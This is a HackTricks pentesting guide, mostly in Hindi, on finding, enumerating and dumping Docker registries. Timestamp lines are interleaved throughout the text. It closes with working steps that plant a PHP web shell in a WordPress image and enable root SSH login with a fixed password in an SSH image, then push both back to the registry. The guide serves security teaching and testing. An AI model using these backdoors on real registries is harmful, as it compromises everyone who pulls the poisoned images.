2024-04-06 18:32:19 +00:00
# 5000 - Pentesting Docker Registry
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:24:40 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
## Basic Information
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
एक संग्रहण और वितरण प्रणाली जिसे **Docker registry** के रूप में जाना जाता है, Docker छवियों के लिए है जो नामित हैं और कई संस्करणों में आ सकती हैं, जिन्हें टैग द्वारा भिन्न किया जाता है। ये छवियाँ **Docker repositories** के भीतर संगठित होती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट छवि के विभिन्न संस्करणों को संग्रहीत करती है। प्रदान की गई कार्यक्षमता उपयोगकर्ताओं को छवियों को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, बशर्ते कि उपयोगकर्ता के पास आवश्यक अनुमतियाँ हों।
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
**DockerHub** Docker के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में कार्य करता है, लेकिन उपयोगकर्ताओं के पास ओपन-सोर्स Docker रजिस्ट्री/वितरण का ऑन-प्रिमाइस संस्करण चलाने या व्यावसायिक रूप से समर्थित **Docker Trusted Registry** का विकल्प भी है। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्री ऑनलाइन पाई जा सकती हैं।
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
एक ऑन-प्रिमाइस रजिस्ट्री से छवि डाउनलोड करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:
2024-02-08 23:24:36 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-07-19 05:24:40 +00:00
यह कमांड `my-registry` डोमेन पर पोर्ट `9000` पर ऑन-प्रिमाइस रजिस्ट्री से `foo/bar` इमेज संस्करण `2.1` को लाता है। इसके विपरीत, यदि `2.1` नवीनतम संस्करण है, तो DockerHub से उसी इमेज को डाउनलोड करने के लिए कमांड सरल हो जाता है:
2024-02-08 23:24:36 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull foo/bar
```
2023-11-06 08:38:02 +00:00
**डिफ़ॉल्ट पोर्ट:** 5000
2021-10-18 11:21:18 +00:00
```
2021-01-03 00:43:09 +00:00
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-07-19 05:24:40 +00:00
## खोज
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
इस सेवा को चलाते हुए खोजने का सबसे आसान तरीका nmap के आउटपुट में इसे प्राप्त करना है। वैसे भी, ध्यान दें कि चूंकि यह एक HTTP आधारित सेवा है, यह HTTP प्रॉक्सी के पीछे हो सकती है और nmap इसे पहचान नहीं पाएगा।\
कुछ फिंगरप्रिंट:
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
* यदि आप `/` पर पहुँचते हैं, तो प्रतिक्रिया में कुछ भी नहीं लौटाया जाता है
* यदि आप `/v2/` पर पहुँचते हैं, तो `{}` लौटाया जाता है
* यदि आप `/v2/_catalog` पर पहुँचते हैं, तो आप प्राप्त कर सकते हैं:
2023-11-06 08:38:02 +00:00
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2021-01-03 00:43:09 +00:00
2023-11-06 08:38:02 +00:00
## गणना
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
Docker registry को **HTTP** या **HTTPS** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए आपको जो पहला काम करने की आवश्यकता हो सकती है, वह है **यह पता लगाना कि कौन सा** कॉन्फ़िगर किया जा रहा है:
2021-01-03 00:43:09 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2023-11-06 08:38:02 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2021-01-03 00:43:09 +00:00
Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:24:40 +00:00
### Authentication
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
Docker registry को **authentication** की आवश्यकता के लिए भी कॉन्फ़िगर किया जा सकता है:
2021-01-03 00:43:09 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:24:40 +00:00
यदि Docker Registry प्रमाणीकरण की आवश्यकता है, तो आप[ **इसे ब्रूट फोर्स करने की कोशिश कर सकते हैं** ](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आपको उनका उपयोग करना होगा** रजिस्ट्री को एन्यूमरेट करने के लिए, `curl` में आप उनका उपयोग इस तरह कर सकते हैं:
2021-01-03 00:43:09 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-07-19 05:24:40 +00:00
### Enumeration using DockerRegistryGrabber
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber ) एक पायथन उपकरण है जो डॉकर रजिस्ट्री को सूचीबद्ध / डंप करने के लिए (बिना या बुनियादी प्रमाणीकरण के साथ)
2021-12-13 00:07:45 +00:00
```bash
2024-07-19 05:24:40 +00:00
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_ | |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --list
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump_all
2021-12-13 00:07:45 +00:00
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
2024-07-19 05:24:40 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
2023-11-06 08:38:02 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2024-07-19 05:24:40 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-07-19 05:24:40 +00:00
[+] Dumping my-ubuntu
2023-11-06 08:38:02 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-07-19 05:24:40 +00:00
[+] Dumping my-ubuntu2
2023-11-06 08:38:02 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
```
2024-07-19 05:24:40 +00:00
### Enumeration using curl
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
एक बार जब आप **डॉकर रजिस्ट्री तक पहुँच प्राप्त कर लेते हैं** तो यहाँ कुछ कमांड हैं जिनका आप इसका एन्यूमरेट करने के लिए उपयोग कर सकते हैं:
2021-01-03 00:43:09 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2023-11-06 08:38:02 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2021-01-03 00:43:09 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
2024-01-05 23:25:40 +00:00
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
2021-01-03 00:43:09 +00:00
{% hint style="warning" %}
2024-07-19 05:24:40 +00:00
ध्यान दें कि जब आप blobs फ़ाइलें डाउनलोड और डिकंप्रेस करते हैं, तो फ़ोल्डर वर्तमान निर्देशिका में दिखाई देंगे। **यदि आप सभी blobs डाउनलोड करते हैं और उन्हें एक ही फ़ोल्डर में डिकंप्रेस करते हैं, तो वे पहले से डिकंप्रेस किए गए blobs के मानों को ओवरराइट कर देंगे** , इसलिए सावधान रहें। प्रत्येक blob को अलग-अलग फ़ोल्डर के अंदर डिकंप्रेस करना दिलचस्प हो सकता है ताकि प्रत्येक blob की सटीक सामग्री की जांच की जा सके।
2021-01-03 00:43:09 +00:00
{% endhint %}
2024-07-19 05:24:40 +00:00
### Enumeration using docker
2021-01-03 00:43:09 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2023-11-06 08:38:02 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2021-01-03 00:43:09 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-07-19 05:24:40 +00:00
### Backdooring WordPress image
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
उस परिदृश्य में जहाँ आपने एक Docker Registry पाया है जो एक wordpress इमेज को सहेज रहा है, आप इसे बैकडोर कर सकते हैं।\
**बैकडोर** **बनाएँ** :
2021-01-03 00:43:09 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
{% endcode %}
2024-02-08 23:24:36 +00:00
एक **Dockerfile** बनाएं:
2021-01-03 00:43:09 +00:00
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
2024-02-09 13:24:38 +00:00
{% endcode %}
2024-07-19 05:24:40 +00:00
**नई** छवि **बनाएँ** , **जाँचें** कि यह बनाई गई है, और **पुश** करें:
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 00:07:45 +00:00
docker build -t 10.10.10.10:5000/wordpress .
2023-11-06 08:38:02 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-07-19 05:24:40 +00:00
### Backdooring SSH server image
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
मान लीजिए कि आपने एक Docker Registry पाया है जिसमें एक SSH इमेज है और आप इसे बैकडोर करना चाहते हैं।\
**डाउनलोड** करें इमेज और **चलाएँ** इसे:
2021-01-03 00:43:09 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-07-19 05:24:40 +00:00
SSH इमेज से `sshd_config` फ़ाइल निकालें:
2021-01-03 00:43:09 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-07-19 05:24:40 +00:00
और इसे इस तरह संशोधित करें: `PermitRootLogin yes`
2024-04-06 18:32:19 +00:00
2024-07-19 05:24:40 +00:00
एक **Dockerfile** इस तरह बनाएं:
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2021-01-03 00:43:09 +00:00
2024-07-19 05:24:40 +00:00
**नई** छवि **बनाएँ** , **जांचें** कि यह बनाई गई है, और **पुश** करें:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## संदर्भ
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
2024-02-08 23:24:36 +00:00
2024-07-19 05:24:40 +00:00
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP हैकिंग सीखें और अभ्यास करें: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
< summary > HackTricks का समर्थन करें< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:24:40 +00:00
* [**सदस्यता योजनाएँ** ](https://github.com/sponsors/carlospolop ) देखें!
* **हमारे** 💬 [**Discord समूह** ](https://discord.gg/hRep4RUj7f ) या [**telegram समूह** ](https://t.me/peass ) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) और [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) गिटहब रिपोजिटरी में PRs सबमिट करें।
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:24:40 +00:00
{% endhint %}